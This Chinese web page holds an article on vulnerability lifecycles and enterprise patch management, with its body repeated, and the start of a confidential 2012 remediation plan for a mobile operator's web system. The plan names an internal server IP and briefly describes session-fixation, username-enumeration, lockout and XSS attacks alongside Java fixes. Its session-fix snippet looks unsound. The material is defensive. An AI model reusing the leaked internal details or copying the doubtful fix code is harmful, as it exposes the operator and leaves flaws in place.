网站安全漏洞修复-唯嘉利亚云安全

第一篇:漏洞修复

近几年来, 令网络管理人员谈虎色变的网络安全问题莫过于蠕虫。

蠕虫的爆发不仅导致个人 电脑或服务器系统无法正常工作, 还会造成网络系统的瘫痪。

而系统漏洞作为网络安全的头 号大敌, 可谓万恶的根本。

但要想在第一时间把每个漏洞都被及时修补好, 基本是不可能的, 即便可能做到,所需要的各种资源也是企业无法承受的。

打补丁不能盲目,不是每个补丁都需要在第一时间修补;不是每个补丁都可以随便打上。因 为,漏洞的修补是需要策略的。

明确漏洞真相 漏洞所造成的安全问题具备一定的时效性, 也具备很强的规律性。

通过分析漏洞的生命周期, 我们方可把握漏洞法则,寻找漏洞真相。从信息安全这个层面看,是先有漏洞和对漏洞进行 攻击的可能性,才有补丁。漏洞是攻击者攻击的目标,而打补丁正是对漏洞的修补过程。

对于漏洞的定义,英汉双解计算机词典的解释如下:在计算机安全学中,漏洞是存在于一个 系统内的弱点或缺陷, 系统对一个特定的威胁攻击或危险事件的敏感性, 或进行攻击的威胁 作用的可能性。

操作系统厂商微软对漏洞也给出了明确的定义

漏洞是可以在攻击过程中利 用的弱点,可以是软件、硬件、程序缺点、功能设计或者配置不当。

由于漏洞所造成安全问题具备一定的时效性, 也就是说, 每一个漏洞都存在一个和产品类似 的生命周期的概念。只有我们对漏洞生命周期的概念进行研究并且分析出其内在的一些规 律,才能真正达到解决漏洞危害的目的。漏洞生命周期:简单而言,漏洞从客观存在到被发 现、利用,再到大规模危害和之后的逐渐消失,这期间存在一个时间周期,这个周期称之为 是漏洞生命周期。

漏洞生命周期对于漏洞的管理有着极其重要的意义, 下图是一个大家都较 为熟悉的漏洞生命周期示意图。 图 1 漏洞生命周期示意图 自 2002 年以来, 国外知名漏洞管理厂商 Qualys 对大量真实的企业用户漏洞数据进行了长期 的跟踪和分析,每年都会公布一些有关漏洞宏观规律的研究成果。该研究目前仍在进行中, 本文中引用的数据是 2005 年的最新结果。‘ 表 1 2005 年漏洞研究结果(点击图片看大图) 基于大量真实数据的研究得到了漏洞存在和发展的一些内在的规律,就是所说的漏洞法则。

漏洞法则中每条法则都和漏洞生命周期有着密不可分的关系, 漏洞生命周期的概念定性地对 漏洞的时效性进行了说明, 漏洞法则对漏洞的时效性进行了定量的分析, 并且给出了具体的 统计数据进行说明。下面我们就介绍几条通用的漏洞法则,并阐述该法则带给我们的启示。

半衰期:在某一范围内,某一漏洞影响到的主机的数量减少为一半的时间。 图 2 漏洞半衰期 表 2 2003 年至 2005 年半衰期变化结果统计表 半衰期法则带来的一些启示

◆ 漏洞是从外部网络逐渐渗透到内部网络的,并且在内部网络的存活和危害时间较长,网 络管理人员对内部网络的漏洞修补速度还需要进一步提高, 这对漏洞的自动修补提出了较高 的要求。

◆ 对于企业级网络,不可能一次把所有资产的所有漏洞立即修补,即使做到了,付出的成 本也将相当可观,而收效却甚微。

◆ 尽量在半衰期内将高危漏洞修补,要对网络中的资产按照重要性列出清单并进行分类处 理, 把精力集中在与企业业务相关的重要资产, 对于不同的资产采用不同防护措施进行处理。

◆ 2006 年内部网络用户需要将漏洞半衰期降到 48 天以下,才能有效降低内部网络存在的 漏洞风险。

流行性:50%的最流行的高危漏洞的影响力会流行一年左右,一年后这些漏洞将被一些新的 流行高危漏洞所替代。

流行性法则启示录

◆ 漏洞流行期在一年左右,并且新的漏洞不断增加,需要对漏洞进行持续评估与审计,今 天安全并不代表明天依然安全,安全是动态的、相对的,因此我们对漏洞的管理也必须是一 个动态的过程,整个的过程需要自动化工具的辅助来提高工作效率。

◆ 一半漏洞在一年之后仍然在网络中存在,说明有些漏洞被检测出来之后并没有被修补或 者规避,未修补的漏洞将导致整体安全性的下降。

◆ 漏洞管理的是一个循环、永无止境的过程,随着漏洞增加的趋势不断调整漏洞评估和审 计的频率,尤其是涉及企业业务的重要资产。

持续性:4%的高危漏洞的寿命很长,其影响会持续很长一段时间;尤其是对于企业的内部网 络来说,某些漏洞的影响甚至是无限期的。 图 3 漏洞寿命走势图 持续性法则启示录: ◆ 某些漏洞很难被彻底根除,需要重点检测、确认、尽可能消除这些漏洞,有时可能需要 通过专业安全服务人员的协助来完成。

◆ 网络中引入新设备、安装新应用软件等,均可能引入一些旧的漏洞,因此,网络中的任 何资产变更,都需要重新进行漏洞评估和审计工作。

◆ 要特别警惕那些潜伏在应用程序的代码中的漏洞,比如一些内嵌 Microsoft database engine(MSDE)的应用程序可能导致 SQL Slammer 蠕虫在内部网络的再次爆发。

可利用性

80%的利用漏洞的攻击发生在前两个半衰期内, 85%的破坏来自于漏洞攻击开始的 15 天的自动化攻击,并且会不断持续,直到该漏洞的影响消失。 图 4 蠕虫爆发和半衰期关系图 可利用性法则带来的一些启示

◆ 用户应该密切关注最新的漏洞动态信息,可以根据企业资产定制相关的专业安全厂商的 通告,同时关注临时应急方案和补丁程序的发布。

◆ 通过制定合理的安全策略来实现来自外部网络对内部网络的攻击,尤其是针对终端设备 实行集中化控制和管理。

尽可能通过自动化的漏洞评估、 漏洞修补来加速漏洞修补过程, 漏洞修补之后还要验证漏洞 是否已经被清除。

打补丁要讲方法论 要从根本上有效地解决目前利用漏洞进行攻击的问题, 就需要我们基于漏洞生命周期、 漏洞 法则的研究,结合人为管理方式,建立一套有效的漏洞管理工作流程,并通过漏洞管理类的 自动化产品辅助执行漏洞管理的过程。

自动化工具能够提高整个过程的准确性、 缩短漏洞识 别和修补的周期。

漏洞管理流程 一个较为完善的漏洞管理过程至少应该包括漏洞预警、漏洞检测、漏洞分析、漏洞修补与安 全策略和修补跟踪几个阶段,同时在实际过程中,时刻要将漏洞的风险和资产相关联。

表 3 漏洞管理过程 1)漏洞预警

能够及时获得最新的漏洞通告信息, 对于没有补丁程序的漏洞要给出临时的解 决方案, 要求提供漏洞管理产品的厂商应该有基础的漏洞研究和跟踪能力, 能够及时准确的 将最新漏洞信息传达给网管人员。

该过程可以通过定制专业的安全服务厂商的安全通告来获 得。

2)漏洞检测:检测之前需要对网络中的资产进行发现和跟踪,并且通过简便的方式展示,以 便更快、 更准确地识别、 修补漏洞。

必须周期性地对用户的网络中的所有网络资产进行检测, 要求漏洞管理工具在保证一定的检测速度的前提下, 要有较高的准确性, 这里需要注意的是 并不是检测到的漏洞越多越好, 有些产品的误报率很高, 要对漏洞的有效性进行验证和分析, 必须支持国际上大多数的漏洞标准(CVE、CERT、BugTraq 等)。基于软件的解决方案大多 需要人工进行维护, 自动化能力较差。

该过程可以通过购买专业的漏洞管理设备或专业的安 全服务来完成。

3)漏洞分析

在漏洞检测之后需要通过具体的报告和数据来对资产的风险进行统计分析, 清 楚地显示漏洞的分布情况、 详细描述和解决方案。

其中特别需要注意的是要对网络中的资产 的风险进行分类, 以便对后续的漏洞修补工作进行优先级的划分。

该过程可以通过漏洞管理 设备或专业安全服务来自动完成。

4)漏洞修补与安全策略:通过统计分析的结果制定切实可行的漏洞修补方案并通知终端用 户, 可以通过文件服务器来提供最新的漏洞修补程序供终端用户下载和安装。

特别需要注意 的就是从合法的来源获取补丁程序, 并且要对补丁进行测试, 来保证安装补丁不会影响业务 系统正常运行, 还要有补丁回滚能力。

该过程可以通过操作系统厂商或者第三方厂商的补丁 管理软件或专业安全服务来完成。

安全策略:为整个企业的网络安全设备、服务器、网络设备、应用程序和终端主机制定严格 的安全策略,并保证这些策略能够强制配置和下发。其中大多数需要手工进行配置,一些能 够通过部署终端安全产品来自动完成。

5)漏洞审计

在每次漏洞修补之后监控终端用户是否及时地安装了漏洞修补程序。

该过程能 够通过漏洞管理设备或专业安全服务完成。

网络管理人员在制定漏洞管理工作流程的时候, 要根据自己实际需求情况将上述过程进行细 化或者裁减,为了使整个流程更有效,需要注意以下几点

第一,管理层的支持、工作流程的标准化对整个漏洞管理很重要; 第二,尽量使用专业的、自动化的漏洞管理工具,尽量避免人工操作; 第三,尽量不要中断企业的业务流程,保证业务系统正常运行; 第四,尽量保持整个网络环境的配置简单,最好对同样的系统采用类似的配置,并且能够进 行集中管理。

要补的不只是漏洞本身 现实生活中人们对补丁这个东西都已经是不太陌生了, 大多数情况下, 厂商公布了补丁之后 也都会及时地将补丁及时安装。

对于绝大多数网络管理人员来说, 打补丁其实已经是日常工 作中的家常便饭了, 而且整个打补丁的过程大多数都遵循这样一个非正式的通用模式, 这个 模式大致包括以下几个过程

(1)专业安全研究人员或者组织研究并发现一个漏洞; (2)该漏洞被提交给相关厂商,等待确认并为开发补丁争取时间; (3)厂商对漏洞进行确认并且发布补丁程序; (4)网络管理人员通过安全厂商或者软件厂商通告知晓该漏洞; (5)网络管理人员寻找、下载并且安装补丁; (6)网络管理人员将该漏洞和补丁尽可能通告相关人员; (7)假定该漏洞已经被补丁修补。

从个人用户的角度来说, 采取这些措施应该能够有效地降低因漏洞带来的安全风险, 打补丁 在终端用户的安全防护方面起到了重要的作用。

但是对于企业级用户而言, 尤其是当他们的 网络拥有了一定规模, 同时网络中又有关键业务流存在时, 这样的过程和方法是否依然能够 奏效呢? 事实证明,这种传统的方法在对付企业中漏洞带来的安全风险时,还存在着很多局限性。

打补丁不能解决所有漏洞问题 打补丁不能解决所有的漏洞问题。

没有一个规范的过程来对漏洞进行监控, 企业就不会清楚 网络环境中的漏洞是否被清除或者规避。

一些漏洞是由配置不当或者配置错误导致的, 这在 前面的漏洞的概念中已经明确指出,没有补丁能够清除由配置导致的漏洞。

前面提到的传统补丁方法想要成为企业补丁管理方法还缺乏一定的规范性, 更何况补丁管理 也只是漏洞管理的一部分而已。

普遍的看法是将补丁管理过程看成一种生命周期模型, 一个 封闭的循环。借用微软的补丁管理模型说明补丁管理过程。在这种模型中,一个循环的完成 意味着新的循环的开始, 新的循环继承了前一个循环的成果并在这个基础上有所提高。

循环 的过程分成评估、识别、计划和部署 4 个部分,对每一个新的漏洞以及相应的补丁都要放在 这个循环里面进行考察。

评估阶段——收集漏洞、 补丁信息, 收集企业资产信息并确定其价值, 然后, 在这个基础上, 评估漏洞对企业的威胁, 还要对前一次的执行结果进行评估, 给出修补漏洞的要求以及其他 防护措施建议。

识别阶段——这个阶段的工作依赖于评估阶段收集的信息作为基础,主要工作有下列内容

寻找补丁,并确定其来源可靠;测试补丁,以确定其能与企业 IT 环境兼容;计划阶段—— 给出在企业网络部署补丁的详细计划安排; 部署阶段——根据计划,在企业网络内部署补丁并进行确认。

上面这个划分适合企业从宏观的角度把握补丁管理。

但及时部署补丁还是需要依靠自动化的 工具来完成才有可能。

有效管理资产 当企业网络中的资产数量较多的时候, 传统的方法不可能有效地将网络中所有资产存在的漏 洞进行修补。

在评估之前要对企业中资产要有明确的清单, 企业网络中的资产不同于个人终 端,有网络设备、网络安全设备、服务器、数据库等资产,其硬件、软件的复杂度要远远高 于个人终端, 并且网络设备、 服务器等承载企业重要业务的资产的重要性也要远高于个人终 端, 同样一个漏洞对于不同的资产的威胁程度是不一样的, 也就是说不同的资产存在的风险 是不一样的。

据权威统计,企业 90%的风险来自于 10%的重要资产,传统的方法没有对威胁和风险进行等 级划分,这也是它和漏洞管理较为不同的一点。传统的方法倾向于从纯技术角度看问题,如 果有补丁我们就要打补丁, 只是从眼前的角度去看一个问题, 没有从长远角度去看这类问题, 因此要对企业中的资产信息尽可能全面地进行收集, 并且根据资产在企业业务流程中的角色 进行合理分类, 方便网络管理人员对企业中资产存在的风险有明确的了解, 这样才能够有效 地指导漏洞修补过程,将企业中的风险降低到一个较低的水平。

补丁本身的有效性 凡事都有两面性,打了补丁之后从一个角度来看是解决了一些问题,但是在打补丁之前,我 们要从其他的侧面思考以下几个问题

◆ 安装补丁程序需要哪些基本条件? ◆ 补丁的副作用,是不是会影响其他应用程序或者其他资产的使用,是否会引入新的未知 漏洞? ◆ 补丁会不会影响一些企业正常的业务连续性?是否需要测试? ◆ 补丁安装失败或者补丁影响其他资产,如何将安装补丁的系统恢复到安装补丁之前的状 态? 传统的方法不能够解决上面提到的几个问题。

在企业网络中, 用户使用的操作系统种类繁多, 有微软的 Windows 操作系统系列和 Linux 各种发行版本和类 Unix 系统,这就导致了补丁获 取、分发和安装过程比较复杂,而且只能由部分的工作有自动化的工具来完成,很多工作还 是需要人工进行决策和实施的,补丁管理过程的成本还是比较高的。

一般情况下,安装补丁不会影响系统的正常使用,安装补丁存在风险,补丁可能引入一些未 知的漏洞, 安装补丁需要在风险和收益之间得到平衡。

厂商发布的补丁都是针对某一特定的 软件版本, 而且安装补丁之前要了解安装补丁一些必要条件, 要认真阅读补丁安装说明文件, 尤其是 Linux 和类 Unix 操作系统,否则安装失败或者影响系统正常使用的可能性非常大。

在安装补丁之前, 还要不得不考虑的一个问题就是安装补丁之后会出现什么不良的影响。

对 于很多应用软件来说, 使用一些共享的库文件是很正常的事情, 这就导致了不同应用服务之 间可能存在一定的依赖关系, 补丁程序很可能在安装之后会无形之中影响到其他的应用或者 其他的资产, 所以安装之前要在模拟的业务环境中进行先导测试成功之后, 才能进入正式业 务环境。

最后一点就是补丁的回滚问题, 这也是目前所有的补丁管理程序共同面临的一个难题。

补丁 的分发和安装的自动化已经比较成熟, 但是补丁的自动回滚实现方面还有一定的难度。

对于 一些配置特殊的系统来说, 补丁程序可能安装不正确, 补丁的安装可能修改了原有的一些配 置文件, 或更新了一些共享的库文件等导致了系统不稳定或者不能正常运行。

传统的方法没 有这些风险控制手段。

勿忘补丁变更记录 一些危害非常大的漏洞使大多数网络管理员处于“救火”的状态, 因此很少有时间来进行补 丁变更记录管理。比如,在爆发“冲击波”“震荡波”时候,大多数管理员首要的工作就是 保护网络的基础设施,切断内部网络和外部网络的连接,将企业的重要服务器和企业的内、 外网络隔离,将受影响的系统补丁并进行一些配置修改之后重新上线。但是,这种情况还是 比较个别的案例。 缺乏变更也是传统方法的不足, 变更文档的缺少经常导致大量重复的工作。

传统方法缺少过 程管理,不能对形成相对固定的工作流程,很难对整个过程进行监控、改进和重用,很多网 络管理员大多将文档的中心主要放在漏洞的技术细节上, 而很少关注网络中资产的系统配置 情况。一个相对完整的漏洞工作流程(过程管理)应该包括以下几个元素

◆ 漏洞确认、补丁和配置变更的工作步骤 ◆ 确认补丁和配置变更是否合理的工作步骤 ◆ 资产优先级划分的规则 ◆ 补丁测试的工作步骤 ◆ 补丁部署、配置变更和保护策略工作指南 近几年来, 令网络管理人员谈虎色变的网络安全问题莫过于蠕虫, 而系统漏洞是蠕虫产生 的根本原因。但是打补丁不能盲目,不是每个补丁都需要在第一时间修补,不是每个补丁都 可以随便打上。因为,漏洞的修补是需要策略的。

探寻漏洞真相 由于漏洞所造成的安全问题具备一定的时效性, 也就是说, 每一个漏洞都存在一个和产 品类似的生命周期的概念。

只有我们对漏洞生命周期的概念进行研究并且分析出其内在的一 些规律,才能真正达到解决漏洞危害的目的。漏洞从客观存在到被发现、利用,再到大规模 危害和之后的逐渐消失,这期间存在一个时间周期,这个周期被称为漏洞生命周期。漏洞生 命周期对于漏洞的管理有着极其重要的意义。

人们基于对大量真实数据的研究得到了漏洞存在和发展的一些内在规律,就是漏洞法 则。

漏洞法则中的每条法则都和漏洞生命周期有着密不可分的关系。

漏洞生命周期的概念对 漏洞的时效性进行了定性说明, 漏洞法则对漏洞的时效性进行了定量的分析, 并且给出了具 体的统计数据。下面是几条通用的漏洞法则。

1.半衰期:在某一范围内,某一漏洞影响到的主机数量减少为一半的时间。

半衰期法则带来的启示

●漏洞是从外部网络逐渐渗透到内部网络的,并且在内部网络的存活和危害时间较长, 网络管理人员对内部网络的漏洞修补速度还需要进一步提高, 这对漏洞的自动修补提出了较 高的要求。

●对于企业级网络,不可能一次把所有资产的所有漏洞立即修补,即使做到了,付出的 成本也将相当可观,而收效却甚微。

●尽量在半衰期内将高危漏洞修补,要对网络中的资产按照重要性列出清单并进行分类 处理, 把精力集中在与企业业务相关的重要资产, 对于不同的资产采用不同防护措施进行处 理。 2.流行性:50%的最流行的高危漏洞的影响力会持续一年左右,一年后这些漏洞将被一 些新流行的高危漏洞所替代。 流行性法则带来的启示:漏洞管理是一个循环、永无止境的过程,需要随着漏洞增加的 趋势不断调整漏洞评估和审计的频率,尤其是涉及企业业务的重要资产。

3.持续性:4%的高危漏洞的寿命很长,其影响会持续很长一段时间。尤其是对于企业内 部网络来说,某些漏洞的影响甚至是无限期的。 持续性法则带来的启示

●网络中引入新设备、安装新应用软件等行为,均可能引入一些旧的漏洞,因此,网络 中的任何资产变更,都需要重新进行漏洞评估和审计工作。

●要特别警惕那些潜伏在应用程序代码中的漏洞,比如一些内嵌 Microsoft database engine(MSDE)的应用程序可能导致 SQL Slammer 蠕虫在内部网络再次爆发。

打补丁要讲方法论 一个较为完善的漏洞管理过程至少应该包括漏洞预警、漏洞检测、漏洞分析、漏洞修补 与安全策略和修补跟踪几个阶段,同时在实际过程中,时刻要将漏洞的风险和资产相关联。

漏洞预警 acerun

yes"> 能够及时获得最新的漏洞通告信息, 对于没有补丁程序的漏洞 要给出临时的解决方案。

漏洞检测 检测之前需要对网络中的资产进行发现和跟踪,并且通过简便的方式展示, 以便更快、更准确地识别、修补漏洞。必须周期性地对网络中的所有资产进行检测,要求漏 洞管理工具在保证一定检测速度的前提下, 要有较高的准确性。

这里需要注意的并不是检测 到的漏洞越多越好,有些产品的误报率很高,要对漏洞的有效性进行验证和分析,必须支持 国际上大多数的漏洞标准(CVE、CERT、BugTraq 等)。基于软件的解决方案大多需要人工 进行维护,自动化能力较差。

漏洞分析 在漏洞检测之后需要通过具体的报告和数据来对资产的风险进行统计分析, 清楚地显示漏洞的分布情况、 详细描述和解决方案。

其中特别需要注意的是要对网络中的资 产风险进行分类,以便对后续的漏洞修补工作进行优先级划分。

漏洞修补与安全策略 通过统计分析的结果制定切实可行的漏洞修补方案并通知终端用 户, 可以通过文件服务器来提供最新的漏洞修补程序供终端用户下载和安装。

特别需要注意 的就是从合法来源获取补丁程序, 并且要对补丁进行测试, 来保证安装补丁不会影响业务系 统正常运行,还要有补丁回滚能力。

安全策略 为整个企业的网络安全设备、服务器、网络设备、应用程序和终端主机制定 严格的安全策略,并保证这些策略能够强制配置和下发。其中大多数需要手工进行配置,部 分能够通过部署终端安全产品来自动完成。

漏洞审计 在每次漏洞修补之后监控终端用户是否及时安装了漏洞修补程序。

网络管理人员在制定漏洞管理工作流程的时候, 要根据实际需求情况将上述过程进行细 化或者裁减,为了使整个流程更有效,需要注意以下几点

1.管理层的支持、工作流程的标准化对整个漏洞管理很重要。

2.尽量使用专业的、自动化的漏洞管理工具,尽量避免人工操作。

3.尽量不要中断企业的业务流程,保证业务系统正常运行。 4.尽量保持整个网络环境的配置简单,最好对同样的系统采用类似的配置,并且能够进 行集中管理。 要补的不只是漏洞本身 大多数情况下, 在厂商公布了补丁之后用户也都会及时地安装补丁。

对于绝大多数网络 管理人员来说, 打补丁其实已经是日常工作中的家常便饭了, 而且整个打补丁的过程大多数 都遵循这样一个非正式的通用模式,这个模式大致包括以下几个过程

1.专业安全研究人员或者组织研究并发现一个漏洞。

2.该漏洞被提交给相关厂商,等待确认并为开发补丁争取时间。

3.厂商确认漏洞并且发布补丁程序。

4.网络管理人员通过安全厂商或者软件厂商通告知晓该漏洞。

5.管理员寻找、下载并且安装补丁。

6.管理员将该漏洞和补丁尽可能通告相关人员。

7.假定该漏洞已经被补丁修补。

对于企业级用户而言, 尤其是当他们的网络具有一定规模, 同时网络中又有关键业务存 在时,这样的过程和方法是否依然能够奏效呢?事实证明,这种传统的方法在对付企业中漏 洞带来的安全风险时,还存在着很多局限性。

打补丁不能解决所有漏洞问题 没有一个规范的过程来对漏洞进行监控, 企业就不会清楚网络环境中的漏洞是否被清除 或者规避。

一些漏洞是由配置不当或者配置错误导致的, 这在前面的漏洞概念中已经明确指 出,没有补丁能够清除由配置导致的漏洞。

前面提到的传统补丁方法想要成为企业补丁管理方法还缺乏一定的规范性, 更何况补丁 管理也只是漏洞管理的一部分而已。普遍的看法是将补丁管理过程看成一种生命周期模型, 一个封闭的循环。在微软的补丁管理模型中,一个循环的完成意味着新循环的开始,新循环 继承了前一个循环的成果并在这个基础上有所提高。循环的过程分成评估、识别、计划和部 署四个部分,对每一个新的漏洞以及相应的补丁都要放在这个循环里面进行考察。

评估阶段 收集漏洞、补丁信息,收集企业资产信息并确定其价值,然后,在这个基础 上,评估漏洞对企业的威胁,还要对前一次的执行结果进行评估,给出修补漏洞的要求以及 其他防护措施建议。

识别阶段 这个阶段的工作以评估阶段收集的信息作为基础, 主要工作有下列内容:寻找 补丁并确定其来源可靠;测试补丁以确定其能与企业 IT 环境兼容。 计划阶段 给出在企业网络部署补丁的详细计划安排。

部署阶段 根据计划,在企业网络内部署补丁并进行确认。

上面这个划分适合企业从宏观的角度把握补丁管理, 但及时部署补丁还是需要依靠自动 化的工具来完成才有可能。

有效管理资产 当企业网络中的资产数量较多的时候, 传统的方法不可能有效地将网络中所有资产存在 的漏洞进行修补。

在评估之前要对企业中的资产有明确的清单, 企业网络中的资产包括网络 设备、 网络安全设备、 服务器、数据库等资产,其硬件、软件的复杂度要远远高于个人终端, 并且网络设备、 服务器等承载企业重要业务的资产的重要性也要远高于个人终端, 同样一个 漏洞对于不同资产的威胁程度是不一样的。

据权威统计,企业 90%的风险来自于 10%的重要资产,传统的方法没有对威胁和风险 进行等级划分, 这也是它和漏洞管理较为不同的一点。

传统的方法倾向于从纯技术角度看问 题,如果有补丁我们就要打补丁,没有从长远角度去看这类问题。要对企业中的资产信息尽 可能全面地进行收集, 并且根据资产在企业业务流程中的角色进行合理分类, 方便网络管理 人员对企业中资产存在的风险有明确的了解, 这样才能够有效地指导漏洞修补过程, 将企业 中的风险降低到一个较低的水平。

补丁本身的有效性 凡事都有两面性, 打了补丁之后从一个角度来看是解决了一些问题, 但是在打补丁之前, 我们要从其他的侧面思考以下几个问题

●安装补丁程序需要哪些基本条件? ●补丁的副作用是不是会影响其他应用程序或者其他资产的使用,是否会引入新的未知 漏洞? ●补丁会不会影响一些企业正常业务的连续性?是否需要测试? ●补丁安装失败或者补丁影响其他资产,如何将系统恢复到安装补丁之前的状态? 传统的方法不能够解决上面提到的几个问题。

在企业网络中, 如果用户使用的操作系统 种类繁多,就会导致补丁获取、分发和安装过程比较复杂,而且只能有部分的工作由自动化 工具来完成,很多工作还是需要人工进行决策和实施,补丁管理过程的成本还是比较高。

补丁可能引入一些未知的漏洞, 安装补丁需要在风险和收益之间得到平衡。

厂商发布的 补丁都是针对某一特定的软件版本, 而且安装补丁之前要了解安装补丁的一些必要条件, 要 认真阅读补丁安装说明文件,尤其是 Linux 和 Unix 操作系统,否则安装失败或者影响系统 正常使用的可能性非常大。

在安装补丁之前, 还要考虑的一个问题就是安装补丁之后会出现什么不良的影响。

对于 很多应用软件来说, 使用一些共享的库文件是很正常的事情, 这就导致了不同应用服务之间 可能存在一定的依赖关系, 补丁程序很可能在安装之后会无形中影响到其他的应用或者其他 的资产, 所以安装之前要在模拟的业务环境中进行先导测试成功之后, 才能进入正式业务环 境。 最后一点就是补丁的回滚问题,这也是目前所有的补丁管理程序共同面临的一个难题。

补丁的分发和安装的自动化已经比较成熟,但是补丁的自动回滚在实现方面还有一定的难 度。

勿忘补丁变更记录 一些危害非常大的漏洞使大多数网络管理员处于“救火”的状态,因此很少有时间来进行 补丁变更记录管理。缺少变更文档经常导致大量重复的工作。传统方法缺少过程管理,不能 形成相对固定的工作流程,很难对整个过程进行监控、改进和重用,很多网络管理员大多将 文档的中心主要放在漏洞的技术细节上, 而很少关注网络中资产的系统配置情况。

一个相对 完整的漏洞工作流程(过程管理)应该包括以下几个元素

漏洞确认、 补丁和配置变更;确认补丁和配置变更是否合理;资产优先级划分的规则;补丁 测试;补丁部署、配置变更和保护策略工作指南

第一篇:漏洞修复

密级:保密 WEB 开发安全漏洞修复方案 (V1.0) 文档编号

编写

批准: 文档名称

审核

批准日期

技术研究部 WEB 开发安全漏洞修复方案 1 安全规范 文档修订记录 编号 1 版本号 V1.0 修订内容简述 初稿 修订日期 2012-7 作者 审核 6 7 8 9 10 11 12 13 14 15 16 2 安全规范 (V1.0) ………………………………………………………………………………………………………………………….1 1.1 背景……………………………………………………………………………………………………………..1 1.2 FSDP 安全漏洞清单 …………………………………………………………………………………………1 1.3 安全漏洞修复方案……………………………………………………………………………………………1 1.3.1 会话标识未更新…………………………………………………………………………………….1 1.3.2 登录错误消息凭证枚举 ………………………………………………………………………….2 1.3.3 不充分帐户封锁…………………………………………………………………………………….2 1.3.4 跨站点脚本编制…………………………………………………………………………………….3 1.3.5 已解密的登录请求 …………………………………………………………………………………6 1.3.6 跨站点脚本编制………………………………………………………………………………….10 1.3.7 通过框架钓鱼……………………………………………………………………………………..14 1.3.8 链接注入(便于跨站请求伪造) …………………………………………………………19 1.3.9 应用程序错误……………………………………………………………………………………..26 1.3.10 SQL 注入 …………………………………………………………………………………………..30 1.3.11 发现数据库错误模式 ………………………………………………………………………..40 1.3.12 启用了不安全的 HTTP 方法 ………………………………………………………………49 1.3.13 发现电子邮件地址模式 …………………………………………………………………….51 1.3.14 HTML 注释敏感信息泄露 ……………………………………………………………………52 1.3.15 发现内部 IP 泄露模式………………………………………………………………………53 1.3.16 主机允许从任何域进行 flash 访问 …………………………………………………54 1.3.17 主机应用软件漏洞修复 …………………………………………………………………….54 1.3.18 目录列表 ………………………………………………………………………………………….55 1.3.19 跨站点请求伪造 ……………………………………………………………………………….56 1.1 需要注意的问题……………………………………………………………………………………………..57 3 1.1 背景 随着移动公司对信息安全的进一步加强,要求我们部署的系统必须满足安全扫描要求。

本文档描述了安徽移动对 FSDP 安全扫描的漏洞的解决方案, 并作为 WEB 开发的安全编程规 范。

1.2 FSDP 安全漏洞清单 见《WEB 开发安全漏洞清单.xlsx》 1.3 安全漏洞修复方案 1.3.1 会话标识未更新 (一) URL http://10.149.113.200/loginAction.do (二) 安全问题描述 根据WASC:“会话固定”是一种攻击技术,会强制用户的会话标识变成显式值。固定会 话标识值的技术有许多种,会随着目标Web 站点的功能而不同。从利用“跨站点脚本编 制”到向Web 站点密集发出先前生成的HTTP 请求,都在这些技术范围内。用户的会话标识 固定之后,攻击者会等待用户登录,然后利用预定义的会话标识值来假定用户的联机身份。

(三) 攻击方法 登录过程前后会话标识的比较,显示它们并未更新,这表示有可能伪装用户。初步得知 会话标识值后,远程攻击者有可能得以充当已登录的合法用户。

任何时候,只要一名用户与应用程序的交互状态由匿名转变为确认,应用程序就应该发 布一个新的会话令牌。这不仅适用于用户成功登录的情况,而且适用于匿名用户首次提交个 人或其他敏感信息时。

(四) 安全规范要求 COOKIE 中的登陆前 JSESSIONID 与登陆后 JESSIONID 不能相同。

(只有 J2EE 应用 服务器为 JESSIONID,其他应用服务器可能不同) (五) 解决方案 将如下代码加入到登陆页面(login.jsp)的最后行: <% request.getSession().invalidate();//清空 session Cookie cookie = request.getCookies()[0];//获取 cookie cookie.setMaxAge(0);//让 cookie 过期 1 安全规范 %> 1.3.2 登录错误消息凭证枚举 (一) URL http://10.149.113.200/loginAction.do (二) 安全问题描述 当试图利用不正确的凭证来登录时,当用户输入无效的用户名和无效的密码时,应用程 序会分别生成不同的错误消息。

通过利用该行为,攻击者可以通过反复试验(蛮力攻击技术)来发现应用程序的有效用 户名,再继续尝试发现相关联的密码。这样会得到有效用户名和密码的枚举,攻击者可以用 来访问帐户。

(三) 攻击方法 修改 http://10.149.113.200/loginAction.do 的 HTTP 报文头:将参数“optrid”的值设置为 “ test123WithSomeChars ”, 除 去 cookie “ JSESSIONID ”, 除 去 HTTP 头 “Cookie=JSESSIONID” 。

(四) 安全规范要求 对每个错误的登录尝试发出相同的错误消息,不管是哪个字段发生错误,特别是用户名 或密码字段错误。

(五) 解决方案 LoginImpl.java 类中 getLoginInfo 方法,涉及到登录错误提示的都改成

“您输入的用户名或密码不正确!。

” 登录超过 3 次数的改成

“您尝试登陆失败超过"+Constans.LOGIN_ERROR_TIMES+"次, 30 分钟后再登陆!” 请 。 1.3.3 不充分帐户封锁 (一) URL http://10.149.113.200/loginAction.do (一) 安全问题描述 发送了两次合法的登录尝试,并且在其间发送了几次错误的登录尝试。最后一个响应与 第一个响应相同。这表明存在未充分实施帐户封锁的情况,从而使登录页面可能受到蛮力攻 2 安全规范 击。

(即使第一个响应不是成功的登录页面,也是如此。

) (二) 攻击方法 修改http://10.149.113.200/loginAction.do的HTTP报文头:除去cookie“JSESSIONID”, 除去HTTP 头“Cookie=JSESSIONID”。

(三) 安全规范要求 多次登录尝试失败后实施帐户封锁 (四) 解决方案 LoginImp.java 中的 getLoginInfo 方法,修订如下代码片段: //判断登陆失败次数 if(!checkLoginError(logininfo)){ ret.setRetCode("0003"); ret.setRetDesc("您尝试登陆失败超过 "+Constans.LOGIN_ERROR_TIMES+"次,请 "+Constans.LOGIN_ERROR_LOCK_SECOND+"分钟后再登录!"); return ret; } //增加验证登陆错误次数代码 addLoginErrorRec(logininfo); 1.3.4 跨站点脚本编制 (一) URL http://10.149.113.200/callAction.do http://10.149.113.200/loginAction.do (二) 安全问题描述 可能会窃取或操纵客户会话和cookie,它们可能用于模仿合法用户,从而使黑客能够以 该用户身份查看或变更用户记录以及执行事务。 (三) 攻击方法 Web 站点中所包含的脚本直接将用户在HTML 页面中的输入(通常 是参数值)返回,而不预先加以清理。如果脚本在响应页面中返回由JavaScript 代码组成的 输入,浏览器便可以执行此输入。因此,有可能形成指向站点的若干链接,且其中一个参数 3 安全规范 包含恶意的JavaScript 代码。该代码将在站点上下文中(由用户浏览器)执行,这使得该代 码有权访问用户在该站点中具有访问权的cookie,以及站点中其他可通过用户浏览器访问的 窗口。

攻击依照下列方式继续进行:攻击者诱惑合法用户单击攻击者生成的链接。用户单击该 链接时, 便会生成对于Web 站点的请求, 其中的参数值含有恶意的JavaScript 代码。

